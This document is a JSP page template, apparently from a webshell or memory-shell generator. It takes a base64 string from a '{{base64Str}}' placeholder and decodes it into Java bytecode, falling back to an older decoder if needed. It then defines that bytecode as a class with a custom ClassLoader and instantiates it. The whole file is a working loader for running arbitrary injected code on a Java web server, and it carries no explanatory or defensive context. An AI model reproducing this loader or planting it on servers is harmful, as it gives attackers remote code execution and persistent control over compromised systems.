<%! public static class ClassDefiner extends ClassLoader { public ClassDefiner(ClassLoader classLoader) { super(classLoader); } public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } } %> <% ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); String base64Str = "{{base64Str}}"; byte[] bytecode = null; try { Class base64Clz = classLoader.loadClass("java.util.Base64"); Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str); } catch (ClassNotFoundException ee) { Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); } Class clazz = new ClassDefiner(classLoader).defineClass(bytecode); clazz.newInstance(); %>